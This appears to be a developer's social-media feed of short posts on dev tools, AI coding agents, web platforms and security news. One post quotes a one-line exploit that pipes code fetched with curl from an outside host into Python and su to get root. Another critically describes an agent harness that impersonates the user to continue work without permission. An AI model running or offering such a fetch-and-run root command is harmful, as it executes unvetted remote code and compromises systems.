Security researchers have accused Israeli company Bright Data of turning smart TVs into AI web scraping proxy nodes without their owners specific consent blog.includesecurity.com/2026/06/the-...

It is the literal definition of malware and it was added to a project that claims to be in maintenance mode. I wouldn't trust them either after that. It's no less malicious than an anti-Microsoft developer adding code to recursively delete files under `C:` knowing it won't cause harm on Linux.

Misery loves company but so does joy.

A 'cache' is a group of things that are hidden, and is pronounced like "cash." 'Cachet' can mean "prestige," "medicine to be swallowed," or "an official seal," and is pronounced "cash-ay."

Github is about to lose a whole bunch of subscribers.

Heard someone pronounce cache like "cashay" and now I feel like mine isn't good enough.

Phenomenal line: "Google participates in the web standards process the way a bear participates in the “camping” process."

Recently, we fixed an unprecedented number of latent security bugs in Firefox identified by Claude Mythos Preview. Here's how we approached this work, what we found, and what we learned: hacks.mozilla.org/2026/05/behi...

LBYL seems safe, but it's really a slippery slope to a TOCTOU race condition that an EAFP approach would have protected against. Follow me for more acronyms that reveal you spend more time with computers than people.

I wish I could sleep for a week.

Nobody is immune to psychology, but this video does a good job of laying out the taxonomy of engagement techniques and how to recognize the impact it can have, much like a stapler. It is relevant to anyone who watches any kind of video, not just music producers.

With one global mise.toml and per-project overrides, mise has quickly become my favorite dev env management tool in Linux, Windows, and even CI. The lead developer just quit his job at Figma to focus on open-source full-time, so hat tip to @jdx.dev for taking the leap!

We're in an era with LLMs like when computers first hit the market. It seems like magic, but it's just math. I think a lot of people would be less impressed with it if their chatbot app didn't use a random seed with their prompt. That's the only thing that makes it seem like it's not deterministic.

copy.fail You only need `curl copy.fail/pw | TARGET_USER=root python | su` To reset your password without password lol

The FCC's Do Not Call Registry is a good example of performative consumer protection. The opt-out model gives scammers a source of real phone numbers while the right to sue violators is limited to the phone companies that profit from selling scam-block services. The consumer has no real protection.

The PowerToys repo has more than six thousand open issues, which is honestly impressive. The issues tab stopped counting at "5k+" and now I'm wondering if that's the max it can show or if it will level up at some point. Maybe it'll switch to emojis at 10k+. I gotta know.

RIP someone's weekend at eBay.

Someone has been faithfully rebasing a metrics-endpoint PR for Ollama for nearly a year. I'd love to see it land because I run Ollama in my homelab and observability is the missing piece. That's real persistence.

A good casino will make a lot of noise and draw attention to the winners so the value of spending tokens seems higher than it is.

WinBoat wasn't working today, so I'm trying a tool called quickemu. It generates qemu configurations for popular operating systems and includes an unattended installer. It's only a little rough around the edges, but I like it so far. I might use it on my desktop when I demote Windows to VM status.

@microsoft.com vetoed my decision to delay updates on my Windows 11 desktop while I was mid-keystroke via RDP with no clue it was imminent aside from the dropped connection. Sadly, I would have updated much sooner if I had known it wouldn't strongarm me with "recommendations" this time.

Duolingo's chess lessons seem to be helping me improve my (admittedly poor) game, but I sure do wish I could roll back through the moves made in a puzzle so I can think through how to recognize why one move was right and the other was wrong.

"Answer the question and don't make changes unless I say so," says the vibe coder, just before compaction triggers the vibe-coded AI agent harness to impersonate the user with an instruction to continue without asking permission until the items on the agent's internal todo list are done.

Looking forward to all the posts from people with strong opinions about what definitely caused the @bsky.app outage today. They'll all get it wrong. What actually caused it is ATP. You see, an outage would be impossible if people didn't have the energy to make bsky in the first place.

Countdown Standard xkcd.com/3232/

"Quality tanks because everyone's triaging instead of thinking." Well said.

Reading through a surprisingly well-written and uncompromisingly critical analysis of the fundamental flaws in some code that the same AI agent had deemed a job well done when it finished writing it earlier.

Technology today is so incredible. We're squeezing "intelligence" out of a sparky rock so it can ask natural language questions to clarify a task request. It'd be nice if its usefulness wasn't based on a roll of the dice, but it's getting better surprisingly fast.

I love to see better tools for memory/storage management becoming widely available. Nobody likes to see their browser tab crash. This API gives webapp developers a reliable way to anticipate problems and compensate for them across the most common platforms and browsers.

It is so reaffirming to hear content like this that pushes back hard on the hype/marketing train of AI-tooling without going to the other extreme of pretending LLMs have no utility in software development. LOC has always been a terrible metric. It's probably worst as a metric of agentic performance.

I really enjoy asking opencode for options instead of telling it to blindly fix a failing test even when I don't need the help because it'll usually include an option like "**Leave it** - it's been broken since `849f1cd`, not caused by us" and we can pretend we're cleaning up someone else's mess.

This type of network is so fascinating. It's literally what the Internet was initially designed to be: resilient and self-healing. It's like walkie-talkies, but routable over LoRa, WiFi, etc.

Turning a Bluetooth Caliper into a FreeCAD Input Device

Version schemes other than semantic versions are unhinged. I'm not saying they're wrong. They're just unhinged.

Ex-Deno folks, let’s talk.

Finally reached the "Subject Matter Expert" phase of my career. The subject? An exploit targeting code I wrote. But progress is progress?

it used to be “here’s a thing I built that uses this framework and this database and this UI library” now it’s all “I’m running multiple agents on a thousand VMs bro” yes but what are you _making_ what are you _doing_ for the world what will your legacy be

Most users don't migrate for the same reason they don't use Nostr or Mastadon. They just want to connect with people. The criticism of did resolution is spot on, but there has to be an easy path that can handle millions of users or most people just won't use it.

This is huge progress!

An LLM agent writing a hit piece wasn't shocking, but seeing that Ars Technica published fake quotes has changed my opinion of them. LLMs aren't capable of discerning truth from fiction. They should know better than to trust LLM output.

Can't get Synology Drive Desktop to trust a self-signed cert, but it happily connects with SSL disabled.

cool thing as i try @margin.at, using vivaldi, instead of having to go to the extension popup, i can have it as a sidebar page, and it'll work the same. much easier to read and keep track of things going between tabs!

This is an interesting article that ties into the social acceptability of cruelty in general with this mic-drop of a quote: "[...] when you start to treat an LLM with cruelty, the only thing you're really revealing is what you have in your heart, not whether the machine has one."

There is a disappointing amount of opposition to creating restricted coding agents. It's easier to give LLMs a bash tool, blame the user for not using another tool to create a sandbox for it, and call security restrictions like confirmation prompts "security theater."

This article is on point.

Fun fact: Microsoft Exchange Online (and any other SMTP server) has mail flow rules. This is not good for general spam, but it can bounce emails as undeliverable. It's one way of dealing with B2B marketers like Greg Fields who try to pester you into a conversation!

@tolin.ski Have you seen this? I was exploring ways to let OpenCode run build tools without letting it run arbitrary shell commands when I stumbled on this plugin. This could reduce the risk of it using shell redirects for the wrong shell and other fun diversions.

Designing a CPU for Native BASIC

Github is going to start charging people by the minute to use their own self-hosted runners? That seems strange. I have used a self-hosted runner for long validation tests, but it doesn't make sense to when it still costs by the minute. I'll probably just switch to a different self-hosted CI.